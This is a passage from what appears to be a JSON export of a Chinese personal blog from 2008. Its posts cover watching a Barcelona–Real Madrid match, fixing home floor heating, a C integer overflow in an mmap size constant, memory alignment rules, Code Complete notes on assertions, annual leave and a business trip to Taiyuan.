Madrid，比赛未结束前一切皆有可能\u0026rdquo;。而国家德比的过程也正如我所料，一切皆有可能，不过需要耐心的等待。\n昨晚就把闹钟定到了今晨5点，闹钟响了，在床上左右翻转后还是决定起来看西班牙国家德比，毕竟特别喜欢梅西，因梅西而逐渐开始喜欢巴萨。但因西甲联赛的比赛时间特别晚，一般都在北京时间凌晨以后，所以我很少能坚持看巴萨比赛的直播。但巴萨最近状态一直不错，在\u0026quot;魔鬼赛程\u0026quot;阶段取得连胜，而皇家马德里虽然处于低谷，且刚刚换帅，但我想皇马的战士在国家德比时的斗志肯定是不弱的，所以这场比赛无论如何一定要看。打开电视，比赛已经开始3分钟了。场面上基本是巴萨压着皇马打，这也很正常，巴萨目前的攻击力在整个欧洲都是数一数二的，加上主场，加上\u0026quot;国家德比\u0026quot;的历史情绪，疯狂进攻是肯定的了。画面上不断重复着梅西带球、突破、被放倒后的痛苦表情；开场不到20分钟，梅西已经5次被侵犯了。看到这些真是有些心疼啊，生怕梅西受伤下场。\n巴萨狂攻了20分钟后，不见起色，场面渐渐变得沉闷，解说员也一直在抱怨巴萨把皇马压的太死，皇马战士都被憋屈到自己的后场，巴萨自己的进攻空间也没了。而这时巴萨也一直没能调整打法，就这样，上半场在些许沉闷中结束。\n很是期待巴萨主帅瓜迪奥拉能对下半场的战术做些调整，让巴萨不仅能有70%以上的控球率，而且还要有精彩进球才行。经典比赛所应该具备的元素目前还未一一展现出来，真不想看到比赛就在这样的沉闷中0:0结束，我也有些着急，想看到巴萨进球，更想看到梅西上演精彩表演。\n下半场开始，双方都没有做出人员调整，巴萨依旧是压着皇马，古德约翰森下半场表现与上半场相比判若两人，又慢失误又多。第60分钟，瓜迪奥拉觉醒了，终于用小将布斯克茨换下了古德。皇马在换下伊瓜因后就更没有太好的反击机会了。比赛依旧在沉闷中进行，梅西也渐渐失去活力了，我的耐心也渐渐要被打磨殆尽了，困意袭来，有拿起遥控器关机的想法。\n\u0026ldquo;点球\u0026rdquo;!，第70分钟，复出的老将萨尔加多在禁区内对布斯克茨犯规，被主裁判点球。昏昏欲睡的我立刻被激活，起身站在电视前，目不转睛的看着埃托奥如何射出这粒点球。埃托奥这个点球居然射失了，球被最近状态低迷的卡西扑了出来。射失点球也是经典比赛的一个元素，权当心理安慰吧。比赛再次回归沉闷，随着时间的流逝，球员变得急躁起来，就连梅西也忍不住对加戈采取\u0026quot;报复\u0026quot;了。这时大多人都会认为巴萨无法削去最近三个赛季以来主场不赢皇马的耻辱了，球迷们的耐心再次进入煎熬期。\n好在巴萨的球员们没有放弃，第83分钟，本场比赛一直\u0026quot;擅离职守\u0026quot;的普约尔头球摆渡到门前，埃托奥门前一个非常规射门动作将球捅入网内，诺坎普顿时沸腾了。埃托奥脱衣庆祝领得黄牌一张，值了。能给球队带来久违的国家德比胜利这张黄牌又算得了什么呢。皇马的球员们已经尽力了，他们今天已经做得很好了，如果皇马依旧是以前的状态的话，今天早就被打成筛子了。\n比赛继续，埃托奥、哈维先后被换下以接受全场球迷的掌声，比赛尾声，场上的对抗已不再那么激烈，巴萨的进攻空间渐渐显露出来，91分钟，巴萨反击，亨利的传球让快速插上的梅西得到了应得的待遇- 一个进球，梅西快速将球带到门前，在卡西封堵前一个聪明的挑射，尽管卡纳瓦罗奋力抢救，球依然稳稳落入网窝。梅西进球后兴奋的脱下外衣，与埃托奥的净身不同，梅西球衣里面还是绅士的穿了一件衣服的，但仍然没有逃脱黄牌警告。比赛随之结束。看到梅西进球，我太兴奋了。看这场比赛更多是想看到梅西在国家德比中进球，但是皇马对梅西的重兵盯防以及不耻的犯规，让梅西也很不适，但是回过头来一想，皇马主帅还有其他招术么，除非买通瓜迪奥拉不让梅西参加比赛^_^\n比赛算不上经典，但绝对考验球迷的耐心，也绝对值得半夜爬起来一看，Oh, Yeah^_^!\n估计如果不出意外的话，08-09赛季第二场西班牙国家德比入场时，皇马将士将在入口两旁站立欢迎巴萨球员入场了。\n","permalink":"https://tonybai.com/2008/12/14/you-should-be-patient-when-watching-spanish-national-derby/","summary":"\u003cp\u003e在今晨的西班牙国家德比之前，我在饭否留下这样一条信息：\u0026ldquo;Barcelona vs. Real Madrid，比赛未结束前一切皆有可能\u0026rdquo;。而国家德比的过程也正如我所料，一切皆有可能，不过需要耐心的等待。\u003c/p\u003e","title":"看西班牙国家德比需要耐心"},{"content":"东北地区早已进入寒冬，前些阶段外面的温度已经降到了零下22度，而我家里的温度也从+25度降到了+20度了。以前在屋里可以只穿睡衣睡裤，现在不行了，套上一套毛衣毛裤后，如果在沙发上坐的时间长了也会感觉有些凉嗖嗖的。每天上下班都摸一下地热的进出水管，进水管很热，出水管一直没感觉，真希望有一天出水管也能热起来，但是这一天还是没有到来。终于下定决心要把地热搞定，遂电话到物业处预约维修，由于维修的预约较多，我被排到了今天。\n今年8月搬入新房子，今冬也是第一次采暖，没什么经验，也不知道地热不热该如何处理。为了保证维修师傅今天能到我家来，我早上9点半就到物业办公室等维修师傅，据物业工作人员说：地热公司的维修师傅每天都是在9:30到物业办公室取单子，然后再干活儿。我提前10分钟就到了办公室。在和物业人员的攀谈中得知，一般新取暖的住户家中的地热设施要做一下过滤网清洁。我家第一年供暖，过滤网肯定没有清洁，心里嘀咕着\u0026quot;难道是这个原因\u0026quot;？过滤网冲洗物业就能做，如果真是这个问题，那就不用等地热公司的师傅了，为了图快，遂让物业下了单子，做一次过滤网冲洗。在家里左等右等，11点左右，物业的师傅背着工具箱上来了。他打开屋外的维修箱，关闭进水阀门，拧开过滤器，居然没有发现过滤网(工程质量太差)；又进入屋内，同样打开屋内的过滤器，发现了一个小的过滤网，网上有一些垢，但还不至于堵了进水，当时就动摇了，肯定不是这个原因，但是物业师傅能力有限，他只能做这个。事后，再给物业电话，想让地热公司的师傅来看一下，物业让我下午等消息。下午物业通知我说，已经下了单子，但是不能保证地热公司的师傅一定来。\n除了等，别无他选。一直等到下午3点半，地热师傅也不见踪影。自己动手，风衣足食吧。在网上搜索\u0026quot;地热不热\u0026quot;、\u0026ldquo;进水管热，出水管不热\u0026quot;等关键字，查到很多资料，但是说法各异。我决定自己先按照网上的一些方法试试给地热管放气，之前公司的几个同事也建议这么做，只是当时不会做，也不想麻烦。现在在网上查到了一篇\u0026rdquo;地热放气指南\u0026ldquo;的资料，图文并茂，再加上手头上有以前装修遗留的一根管子，我决定自己弄一弄。按照资料中所说的方式很顺利，开始放气，不到5分钟，就放出一盆水，不过水很清澈，但就是不热。这时门铃响了，地热师傅到了。\n地热师傅的解决方法很简单，就是利用已有供暖压力逐一冲洗一下地热管，工具也很简单，一个扳手，一个弯头，载加上一个足够长以至于可以将水引到卫生间马桶中的管子。眼见着从管子里排出的水都是黑黑的，心想这回问题应该可以解决掉了。不到15分钟，管子就冲完了，谢过并送走地热师傅后，心里很是舒服，这一天算是没有白白浪费掉，就等着温度回升吧。希望屋内温度能恢复到25度以上，继续等待中^_^。\n","permalink":"https://tonybai.com/2008/12/10/maintain-the-terrestrial-heat-of-my-house/","summary":"\u003cp\u003e东北地区早已进入寒冬，前些阶段外面的温度已经降到了零下22度，而我家里的温度也从+25度降到了+20度了。以前在屋里可以只穿睡衣睡裤，现在不行了，套上一套毛衣毛裤后，如果在沙发上坐的时间长了也会感觉有些凉嗖嗖的。每天上下班都摸一下地热的进出水管，进水管很热，出水管一直没感觉，真希望有一天出水管也能热起来，但是这一天还是没有到来。终于下定决心要把地热搞定，遂电话到物业处预约维修，由于维修的预约较多，我被排到了今天。\u003c/p\u003e","title":"地热维修小记"},{"content":"今天闲时写了一个Demo测试程序，目的：测试64位编译下使用mmap映射共享内存的能力。程序很简单，大致如下结构：\n#define MAP_SPACE_SIZE (4*1024*1024*1024)\nunsigned long int ms_sz = MAP_SPACE_SIZE;\n…. ….\nptr = mmap( NULL, ms_sz, PROT_READ|PROT_WRITE,MAP_SHARED, fd, 0 );\n我尝试在64位编译模式下映射4G的空间，结果mmap返回MAP_FAILED，errno返回EINVAL，通过查看mmap的manual得知，很可能是ms_sz这个参数的问题，当该参数实际值为0或\u0026lt;0时，mmap如是返回错误。输出一下ms_sz，居然真的是零，让我有些不解，但细致想了以后，觉得还是有道理的。\n我遂尝试了重新定义MAP_SPACE_SIZE，结果印证了我的分析是正确的。\n当#define MAP_SPACE_SIZE (4*1024*1024*1024L)时，ms_sz输出 4294967296；\n当#define MAP_SPACE_SIZE 4294967296时，ms_sz同样输出 4294967296；\n这里简单说一下，首先 (4*1024*1024*1024)是不是常量呢？从程序的输出结果来看，编译器没有直接将其与数值常量4294967296等价，而是执行了计算过程。这也是我们第一次得到0这个结果的原因了。由于没有显式的后缀，编译器按照int, long, long long的顺序识别数值类型，编译器在识别4*1024*1024*1024中的各个数值时，显然将各个值识别为int了，而乘积的结果也放到了一个int临时存储区中，4G对于一个32bit的int刚好过庞大，结果溢出，导致该值变成了0，将0赋给ms_sz(unsigned long int)，同样也是0，这就是原因。\n当#define MAP_SPACE_SIZE (4*1024*1024*1024L)时，由于显式给出了L后缀，编译器将运算结果直接存储在8 byte的long中，这样ms_sz自然很easy的得到了正确的值 4294967296。\n当#define MAP_SPACE_SIZE 4294967296时，这时4294967296可是一个常量，标准的整型常量，编译器发现unsigned int无法将其装下，遂将之识别为long int类型了，这样该值赋给ms_size时就是同类型的了。\n","permalink":"https://tonybai.com/2008/12/02/an-example-for-recognizing-the-const-variable/","summary":"\u003cp\u003e今天闲时写了一个Demo测试程序，目的：测试64位编译下使用mmap映射共享内存的能力。程序很简单，大致如下结构：\u003cbr\u003e\n#define MAP_SPACE_SIZE  (4*1024*1024*1024)\u003cbr\u003e\nunsigned long int ms_sz = MAP_SPACE_SIZE;\u003cbr\u003e\n…. ….\u003cbr\u003e\nptr = mmap( NULL, ms_sz, PROT_READ|PROT_WRITE,MAP_SHARED, fd, 0 );\u003c/p\u003e","title":"常量类型的识别-一个小例子"},{"content":"\n这幅图片是梅西2008-09赛季对阵维尔瓦打入世界波进球后的庆祝场面，图片中梅西的姿态很舒展，面目很清晰，在新浪体育的评论栏中居然有网友说这里的梅西像哈利波特^_^。另外2008-09赛季巴萨的队服我也甚是喜欢。不知道真品巴萨队服(M10的)是不是很昂贵呢，以前没有关注过。\n注：图片来源于新浪体育\n","permalink":"https://tonybai.com/2008/11/18/i-like-this-picture-of-leo-messi-most/","summary":"\u003cp\u003e\u003ca href=\"http://bigwhite.blogbus.com/files/12269721940.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"http://bigwhite.blogbus.com/files/12269721940.jpg\"\u003e\u003c/a\u003e\u003cbr\u003e\n这幅图片是梅西2008-09赛季对阵维尔瓦打入世界波进球后的庆祝场面，图片中梅西的姿态很舒展，面目很清晰，在新浪体育的评论栏中居然有网友说这里的梅西像哈利波特^_^。另外2008-09赛季巴萨的队服我也甚是喜欢。不知道真品巴萨队服(M10的)是不是很昂贵呢，以前没有关注过。\u003c/p\u003e","title":"这张梅西的照片我最喜欢"},{"content":"最近在思考改进项目中一模块的实现，该模块维护起来让我很是头疼，所有才有了整体换掉它的想法。设计和实现中利用了内存对齐的技术。关于内存对齐，我曾经写过三篇文章，第一篇介绍了计算内存对齐的方法和例子，第二篇说了一个内存对齐的应用；三谈内存对齐时，则从其本质上做了阐述，而这次实际上是继续在其本质上的做文章，结合本质谈谈为什么内存对齐的计算方法就应该是第一篇中所讲的那两条。\n如果对内存对齐本质还不清楚的话，就看看我的内存对齐系列的第三篇吧。如果你清楚了本质，那么我们结合第一篇中交待的内存对齐计算方法来进一步探究，为什么计算的方法就是这个样子的。\n再理解一下对齐系数/模数，众所周知Alignment module反映了CPU 取数据时对数据起始地址的限制-这个地址值必须能被Alignment module所整除，但继续仔细考虑下去，你会想到CPU在下一次取数据依然要从下一个能被Alignment module所整除的地址的地方去取，这显而易见，又能说明什么呢？如果说CPU第一次取数据的地址是first_read_address，那么连续下一次的地址就应该是first_read_address + Alignment module了，也就是说每次取数据的量就是Alignment module这么多，这样通过Alignment module我们又可以知道一个量，那就是：在Alignement module限制下，CPU一次能取Alignment module个字节；在“Data alignment: Straighten up and fly right”一文中作者也称之为\u0026quot;memory access granularity\u0026quot;。从应用层开发人员的角度理解：被访问变量的长度，就是CPU要去读取的字节数；而对齐系数又是限制CPU读取字节数的一个指标，有了这两个理解，解决下面的疑问就有了基础了。\n在\u0026rsquo;也谈内存对齐\u0026lsquo;一篇中介绍了内存对齐的计算方法，这里不妨再引用一下：\n1、数据成员对齐规则：结构(struct)(或联合(union))的数据成员，第一个数据成员放在offset为0的地方，以后每个数据成员的对齐按照#pragma pack指定的数值和这个数据成员自身长度中，比较小的那个进行。\n2、结构(或联合)的整体对齐规则：在数据成员完成各自对齐之后，结构(或联合)本身也要进行对齐，对齐将按照#pragma pack指定的数值和结构(或联合)最大数据成员长度中，比较小的那个进行。\n疑问：对于数据成员对齐规则：为什么每个成员的对齐都要按照Min(指定对齐模数，数据成员自身长度)来确定呢？为了不用Max(指定对齐模数，数据成员自身长度)呢，用Max值对齐的不更加完美么？同样对于结构的整体对齐规则也一样有此疑问。这里我们还是举个例子更加直观：\n#pragma pack(8)\nstruct Foo {\nchar a;\nint b;\nshort c;\n};\n#pragma pack()\n我们先来看数据成员对齐，以b为例子，按照规则的说法，sizeof(b) = 4 \u0026lt; 8，那么Address_of_b = Start_Address_of_Foo + 4; 我们来看看当应用的代码里访问b的时候，CPU做了些什么？Address_of_b一半情况下是不能被8整除的，在不能被8整除的情况下，我们去访问b，这里我要提两个问题：\n访问b的时候是否会因内存没有对齐到8上而触发core呢？(在Sun SPARC上因访问未对齐地址上的变量时会出core) 为什么不将b放到Start_Address_of_Foo + 8这个地址上呢？ 下面一一说说我的理解：\n根据前面所说，程序在访问b的时候，CPU实际不一定是从Address_of_b这个地址上开始读取的。如果b这个地址恰巧既能被4整除，也能被8整除(如地址24)，那就无可厚非了。但是如果这个地址只能被4整除，而不能被8整除(如地址12)，那么此时CPU读取的地址肯定是从Address_of_b – 4开始读取8个字节的，也就是说实际上CPU都是从能被8整除的地址上读取的，而且一次读了8个字节，b所在的位置恰是这个8个字节中的后4个字节，所以不存在触发core的可能。\n第二个问题，sizeof(b) = 4 \u0026lt; 8，为什么就要按照4而不是按照8去安排b的地址呢？我们不妨按照8去给b分配地址，Address_of_b\u0026rsquo; = Start_Address_of_Foo + 8，这样的话CPU也能一次将b读取，而且是从b的起始地址开始读，似乎更完美。但你看出问题了么？这么做浪费的空间显然大了很多。将b安排在Address_of_b\u0026rsquo;比安排在Address_of_b多浪费了一半空间。\n同样整体对齐原则也是同样的道理。内存对齐计算显然有两个目标：一是减少CPU的访存次数；第二个就是还要保持存储空间的效率足够高。\n","permalink":"https://tonybai.com/2008/11/17/httptonybai-com20061208talk-about-memory-alignment-the-4th-time/","summary":"\u003cp\u003e最近在思考改进项目中一模块的实现，该模块维护起来让我很是头疼，所有才有了整体换掉它的想法。设计和实现中利用了内存对齐的技术。关于\u003ca href=\"http://tonybai.com/2005/08/09/also-talk-about-memory-alignment/\"\u003e内存对齐\u003c/a\u003e，我曾经写过三篇文章，\u003ca href=\"http://tonybai.com/2005/08/09/also-talk-about-memory-alignment/\"\u003e第一篇\u003c/a\u003e介绍了计算内存对齐的方法和例子，\u003ca href=\"http://tonybai.com/2006/06/14/also-talk-about-memory-alignment-cont/\"\u003e第二篇\u003c/a\u003e说了一个内存对齐的应用；\u003ca href=\"http://tonybai.com/2006/12/08/talk-about-memory-alignment-the-3rd-time/\"\u003e三谈内存对齐\u003c/a\u003e时，则从其本质上做了阐述，而这次实际上是继续在其本质上的做文章，结合本质谈谈为什么内存对齐的计算方法就应该是第一篇中所讲的那两条。\u003c/p\u003e\n\u003cp\u003e如果对内存对齐本质还不清楚的话，就看看我的内存对齐系列的第三篇吧。如果你清楚了本质，那么我们结合第一篇中交待的内存对齐计算方法来进一步探究，为什么计算的方法就是这个样子的。\u003c/p\u003e","title":"四谈内存对齐"},{"content":"下班回家，坐在沙发上抱着本本打开\u0026quot;Bus\u0026ldquo;的后台管理中心，发了一篇文章后，发现居然有5条短消息未读。遂打开查看。发现其中有一条题为\u0026quot;恭喜您被推荐为‘全球最具Bus气质的Blogger’\u0026ldquo;的消息，而且是\u0026quot;blogbus\u0026quot;发来的，看第一眼很兴奋，后一想是不是Bus在后台给每个bus用户群发的消息呢。再往上又看到一条\u0026quot;BlogBus六周年庆典开始啦!\u0026ldquo;的消息，里面恰好有一个\u0026rdquo;全球最具Bus气质的Blogger倾城评选\u0026ldquo;的链接，为了一探究竟我打开了这个链接，看到了评选首页以及下面的200个首批候选者，翻了几页，居然在里面真的看到了自己^_^。\n按照短信息里的说明，我将投票标志图标放到了我博客主页的右侧边栏里了，其实我很清楚自己肯定评不上最具Bus气质的Blogger，但是能被bus推荐为候选之一，也是很兴奋的，毕竟自己坚持写blog的行为得到了肯定，这一点就足以让我满足了，呵呵。\n如果你认可我博客的内容，那就多点一下鼠标，投上一票，haha^_^\n","permalink":"https://tonybai.com/2008/11/14/being-one-of-the-candidates-of-excellent-bloggers-on-blogbus/","summary":"\u003cp\u003e下班回家，坐在沙发上抱着本本打开\u0026quot;\u003ca href=\"http://www.blogbus.com/\"\u003eBus\u003c/a\u003e\u0026ldquo;的后台管理中心，发了一篇文章后，发现居然有5条短消息未读。遂打开查看。发现其中有一条题为\u0026quot;恭喜您被推荐为‘全球最具Bus气质的Blogger’\u0026ldquo;的消息，而且是\u0026quot;blogbus\u0026quot;发来的，看第一眼很兴奋，后一想是不是Bus在后台给每个bus用户群发的消息呢。再往上又看到一条\u0026quot;BlogBus六周年庆典开始啦!\u0026ldquo;的消息，里面恰好有一个\u0026rdquo;\u003ca href=\"http://zhounian.blogbus.com/blogger/\"\u003e全球最具Bus气质的Blogger倾城评选\u003c/a\u003e\u0026ldquo;的链接，为了一探究竟我打开了这个\u003ca href=\"http://zhounian.blogbus.com/blogger/\"\u003e链接\u003c/a\u003e，看到了评选首页以及下面的200个首批候选者，翻了几页，居然在里面真的看到了自己^_^。\u003c/p\u003e\n\u003cp\u003e按照短信息里的说明，我将投票标志图标放到了我博客主页的右侧边栏里了，其实我很清楚自己肯定评不上最具Bus气质的Blogger，但是能被bus推荐为候选之一，也是很兴奋的，毕竟自己\u003ca href=\"http://tonybai.com/2008/09/28/stick-with-my-blog/\"\u003e坚持\u003c/a\u003e写blog的行为得到了肯定，这一点就足以让我满足了，呵呵。\u003c/p\u003e","title":"被推荐为最具Bus气质的优秀Blogger首批参选者"},{"content":"快到年根儿了，劳顿了一年的同事们坐在一起突然提到了年假，很多同事今年的年假还没有休呢，这里也包括我自己。去年国家新出台的劳动法非但没让我们多享受到更多的假期，反倒使我们的福利\u0026quot;缩水\u0026quot;了。今天年初公司内部还因为此事闹得很不愉快，具体情况这里就不说了。大家更关心的是如果今年不休年假是否确定拿到法定的经济补偿，因为去年很多没休年假的人也没得到什么好处。\n入司已经有几个年头了，但回过头来却发现自己从来没有休过年假。我并非是一个\u0026quot;工作狂\u0026quot;，只是没有想好休年假期间该做些什么。枚举一下身边同事休年假的理由，不外乎如下几个：\n1、旅游\n游览名胜古迹、遍走名山大川；更有money者，则出国消费；\n2、做该做的事儿\n各种事情随着年龄的增长也随之而来，诸如操办婚礼、购买和装修房子、探望父母亲属、参加异地同学、朋友的婚礼等；\n3、看病\n做IT的哪个不是处于\u0026quot;亚健康\u0026quot;状态啊。把年假和病假一起休了，到医院去\u0026quot;加加油\u0026quot;。\n4、在家\n多数人的年假都是在家中度过的，在家里养精蓄锐，每天给自己多一些睡眠时间，起床后看看电影，听听音乐；上进一点的看看书，充充电。\n5、找工作\n这也是今年才发现的一个现象，有些同事休年假回来后就提出了离职，原来他们是利用年假期间出去找工作、面试去了，这样也无可厚非。\n6、其他\n… …\n从HR那得知今年以及以后公司原则上建议每个人都能将带薪年假休了，一来员工疲劳的身体可以得到恢复；二来公司也可以少支出那三倍工资。如果工作实在忙，可将年假延至下一个年份。总之，公司就是让你休。看来今年我真的要休自己的第一次年假了。至于什么时候休，自己还没有计划。前面说了，自己没有想好年假期间该做些什么呢。LP基本不能和我一起休年假，出去旅游可能性不大。基本上我能选择的就是待在家中，还好我的大书架上的新书已经足够我看的了^_^。\n","permalink":"https://tonybai.com/2008/11/14/thoughts-on-pay-vacation/","summary":"\u003cp\u003e快到年根儿了，劳顿了一年的同事们坐在一起突然提到了年假，很多同事今年的年假还没有休呢，这里也包括我自己。去年国家新出台的劳动法非但没让我们多享受到更多的假期，反倒使我们的福利\u0026quot;缩水\u0026quot;了。今天年初公司内部还因为此事闹得很不愉快，具体情况这里就不说了。大家更关心的是如果今年不休年假是否确定拿到法定的经济补偿，因为去年很多没休年假的人也没得到什么好处。\u003c/p\u003e","title":"说说年假"},{"content":"一口气读了七章\u0026quot;Code Complete 2nd(以下称CC2e)\u0026ldquo;中的内容，从第七章的\u0026quot;高质量的子程序\u0026quot;到第十三章的\u0026quot;不常见的数据类型\u0026rdquo;。之所以一口气读这么多，是因为被其中的内容吸引了。这两天的下午一直在做代码评审，所以晚上看CC2e的时候，思维不停的在项目代码和书中内容之间跳转。一直把\u0026quot;代码大全2nd\u0026quot;当作一门百科全书式的手册类图书，买回来后一直陈放在书架上没有问津。直到今天在考虑一个关于断言使用的问题时，才想起来去查查这本百科全书，想看看书中是如何阐述断言的。于是便拿起了这本书。\n细致的看了2页后才发现，这本书真是很棒啊。其实我们在平时编码过程中遇到的问题在书中基本都覆盖到了，而且说的很到位。如果你能提前看看书中的陈述，想必你在开发过程中会少走很多弯路。这里列举几点，也是我们项目代码里处理得不到位的地方。\n断言 vs.错误处理\n在昨天评审代码时，发现一位同事在整个模块代码中对接口参数的防御性代码都很不得当；对于内部接口调用，他对可信赖的参数使用了错误处理的方式，如果参数值未按预期，代码直接返回此次调用的结果状态了。关于到底用断言还是用错误处理，估计很多人都很迷惑。\u0026lsquo;代码大全\u0026rsquo;里的总结是我见到的最清晰的了。对于来自系统外部数据(包括数据库、文件、网络等)的校验，我们采用错误处理的方式；对于内部接口之间的参数传递，断言更适合。另外对断言而言，断言失败意味着代码中的bug，你应该做的是停止程序，定位问题，重新编译、发布和启动程序。另外\u0026rsquo;代码大全\u0026rsquo;中引入了\u0026rsquo;Barricade\u0026rsquo;的概念。它建议你在代码中建立所谓的\u0026quot;安全区\u0026quot;，安全区外的数据想通过安全区必须通过严格的合法性检查，当非法时给予敏锐的反应；安全区以内将假定数据都是干净的、安全的。而实际上这个\u0026quot;安全区\u0026quot;在项目里很有可能就是一组函数接口，这组接口采用错误处理的方式对待安全区外的数据，保证非法输入不流入内部系统。\n断言是否放入产品代码\n关于这个问题，更多人坚守的是\u0026quot;断言一定不能出现在发行版中\u0026quot;，即一般的看法：断言只是在开发阶段帮助程序员定位bug的工具，Release阶段断言语句将从代码中自动去除。CC2e作者在书中似乎(也许是我没有看到?)并没有肯定的支持这种观点，只是在其\u0026quot;Guidelines for using assertions\u0026quot;一节中委婉的表达出了一个建议：在生成产品代码时，可以不把断言编译进目标代码里去，以免降低系统性能。在另一本大作\u0026quot;编程珠玑2nd\u0026ldquo;中，作者Jon Bentley间接引述了Tony Hoare的一个观点：\u0026ldquo;在测试时使用断言，而在产品发布时将断言关闭的程序员，就像是在岸上操练时穿着救生衣，而下海时将救生衣脱掉的水手\u0026rdquo;，观点不言而明。在当今硬件设备性能已经很好的年代，断言产生的那些开销多数情况下已经\u0026quot;不足挂齿\u0026rdquo;。那什么才是决定断言是否继续留在产品代码中的最大影响因素呢？我觉得还是因产品而异。前面说过断言如果出现，就意味着程序里是存在bug的。那我们是尽快让产品bug暴露出来呢？还是在程序已经伤痕累累的情况下，继续让其前行呢？产品继续运行带来的后果是否是可忍受的呢？说来说去，还是一个评估和决策的过程。对于类似对癌症病人做化疗的控制软件来说，如果运行异常，想必及早关闭程序是最好的选择，这可是性命攸关的大事。那对于这类程序，断言是一个更好的辅助提前检查到bug的工具，加入Release版也无妨。在我所在的项目产品中，我们选择了将断言保留在产品代码中，我们希望bug能越早暴露越好，千万不能让系统带着缺陷持续运行下去，这样到后期系统将会出现莫名其妙的甚至无法跟踪定位的问题了，到那时可真就不好与客户交代了。当然断言失败后的处理方式也是多种多样的，做好适当记录，保留好现场轨迹，让子进程稳妥地崩溃退出，有时是可以接受的。\n函数 vs.过程\n说到这个话题，不免会有些\u0026quot;钻牛角尖\u0026quot;的感觉。使用C/C++的人已经习惯了\u0026quot;函数\u0026quot;的这个称谓，少有人去特意区分函数与过程的差异，或者在工作中花心思去考虑到底应该用函数还是过程。在C/C++甚至很多其他现代语言中，函数与过程没有语法上的差异，如果说有什么不同，那就要从纯语义上去区分。我们从小就开始学数学，大约在初中(有些地区在小学的高年级，有否？)开始了函数的学习。回忆一下数学上的函数是什么样子的，多亏手头上有一本\u0026quot;什么是数学\u0026quot;，翻看了一下，数学上的函数大致是这样定义的：\u0026ldquo;对于变量X的任何一个值，都存在另一个变量U的确定的值与它相联系，这时U就称作是X的函数，记为U = F(X)，其中X是自变量，U是因变量\u0026rdquo;。数学上有很多著名且常见的函数，诸如sin(x)、cos(x)等。按照数学上对函数的理解，一个函数有输入变量(参数)，有唯一的因变量(返回值)，函数名字根据返回值的含义而命名，如sin(x)。对比一下我们平时在编码中设计的函数，发现似乎不那么一样。因为我们没有严格按照数学上理解的函数去定义我们的函数原型。但在我们开发过程中也不乏符合数学上理解的函数，如标准库中math.h中，诸如：\ndouble sin (double x);\ndouble cos (double x);\ndouble tan (double x);\n与函数不同，严格意义上的过程应该是一个没有返回值，但接受任意数量输入、修改和输出参数的。这样综合起来，其实我们在平时更多的是在使用纯意义上函数和过程的综合体 — 带返回值的过程，且命名偏向过程。比如strtol。以下应该是我们常见的两种代码里routine的使用方式，第二种则是一个标准的过程的调用。\ninvoke_status = sub_routine(var_1, var_2, …, var_n);\nsub_routine(var_1, var_2, …, var_n, \u0026amp;invoke_status);\n使用以上哪一种是见仁见智的事情，估计也和组织的编码风格有关系。\n","permalink":"https://tonybai.com/2008/11/13/coding-review-and-cc2e-and-assertion-and-others/","summary":"\u003cp\u003e一口气读了七章\u0026quot;\u003ca href=\"http://www.douban.com/subject/1477390/?i=0\"\u003eCode Complete 2nd\u003c/a\u003e(以下称CC2e)\u0026ldquo;中的内容，从第七章的\u0026quot;高质量的子程序\u0026quot;到第十三章的\u0026quot;不常见的数据类型\u0026rdquo;。之所以一口气读这么多，是因为被其中的内容吸引了。这两天的下午一直在做\u003ca href=\"http://tonybai.com/2006/05/31/code-review-is-necessary/\"\u003e代码评审\u003c/a\u003e，所以晚上看CC2e的时候，思维不停的在项目代码和书中内容之间跳转。一直把\u0026quot;代码大全2nd\u0026quot;当作一门百科全书式的手册类图书，买回来后一直陈放在书架上没有问津。直到今天在考虑一个关于断言使用的问题时，才想起来去查查这本百科全书，想看看书中是如何阐述断言的。于是便拿起了这本书。\u003c/p\u003e","title":"代码评审·CC2e·断言·其它"},{"content":"飞机缓缓的降落在沈阳桃仙机场，我完成了近10天的出差任务，终于回到家了。沈阳的温度和太原相比还是有些低的。坐大巴到马路湾，打车回家。家里还未给供暖，身体感觉有些凉，还好心还是温暖的，毕竟到家了，回家的感觉真好。\n今天上午应客户要求做一个产品升级后的培训，这可是出差期间的最后一个任务了。早上7:30起床，洗漱后下楼吃早饭。9:00出发直奔客户的大楼。我们一行四人，还有两位技术支持工程师去客户那参加一个故障总结会，我们的另一个产品似乎在昨天出了些问题，让客户方的领导知道了，抓住不放。我们的回家机票已经订好，是下午2点半的。给客户培训完已经是中午了，正当我们要走的时候，我那两位技术支持的同事开会回来，告知我们他们下午走不了了，客户要求现场写故障报告。没办法，只能我和另外一个同事先回宾馆。车上同事还抱怨着：不去客户现场什么事情都没有，一到客户现场什么事情都发生了。\n到酒店已经正午12点半了，还好有会员卡可以延后一个小时退房，午饭也不吃了。打车去机场。在太原去机场绝大部分出租车是不打表的。后来从出租车司机口里得知，机场的出租车业务被机场交管部门和一部分出租车给\u0026quot;霸占\u0026quot;了。外来车辆如果在机场拉活儿的话，一旦被摄像头拍到，事后就会收到罚单，所以一般从市里到机场的出租车回城时基本是空车，打表来说对他们不合算。但是在太原打车还是有一个技巧的，听司机说太原出租车分为红顶、蓝顶和其他颜色顶的。红蓝顶出租车都是服务标兵车，这些车一般不敢拒载，也不敢不打表。因为这些司机都交了服务保证金了，一旦被客户投诉一次，就会被罚数千元，所以在太原打车尽量看车顶颜色。\n说到山西，我们不能不说到“醋”，要说全国老醋哪最好，估计哪也比不了山西。来山西出差的同事一般别的都不带回家，都带上几瓶甚至成箱的老醋。以前来过山西的同事推荐宁化府的老字号陈醋，这不昨天他们打车到宁化府买了三箱醋，前面提到了两位技术支持同事每人一箱，我要的少-两桶，每桶1500ml左右，14元一桶。估计够我吃上两年的了。遗憾的是除了醋没有发现其他值得一带的本地特产，在饭店吃了平遥牛肉，感觉一般。索性也就没有带。\n到飞机场时离飞机正点起飞还有1个半小时，时间是比较充裕的，再加之太原武宿机场客流量较小，所以checkin和security 